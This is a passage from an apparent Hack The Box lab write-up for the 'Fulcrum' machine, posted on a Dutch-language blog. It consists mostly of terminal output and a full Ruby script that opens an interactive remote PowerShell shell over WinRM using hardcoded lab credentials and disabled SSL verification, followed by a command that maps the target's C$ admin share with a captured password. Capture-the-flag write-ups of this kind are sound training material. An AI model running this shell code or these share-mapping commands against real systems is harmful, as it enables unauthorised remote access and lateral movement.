Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
puck@10.10.16.70's password: *******

root@kali:~/htb/fullcrum# netstat -an | grep 5986
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN 
tcp 0 0 127.0.0.1:5986 127.0.0.1:53752 ESTABLISHED
tcp 0 0 127.0.0.1:53752 127.0.0.1:5986 ESTABLISHED
tcp6 0 0 ::1:5986 :::* LISTEN
root@kali:~/htb/fullcrum# ruby winrm_shell.rb 
PS webserver\webuser@WEBSERVER Documents> whoami
webserver\webuser

.

root@kali:~/htb/fullcrum# cat winrm_shell.rb
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new( 
endpoint: 'https://127.0.0.1:5986/wsman',
transport: :ssl,
user: 'WebUser',
password: 'M4ng£m£ntPa55',
:no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets 
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end 
puts "Exiting with code #{output.exitcode}"
end

.

PS C:\Users\BTables\Documents> net use z: \\127.0.0.1\c$ /user:923a @fulcrum_bf392748ef4e_$
The command completed successfully.

ruby script used also found at : https://github.com/puckiestyle/ruby/blob/master/winrm_shell.rb

 

 

 

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *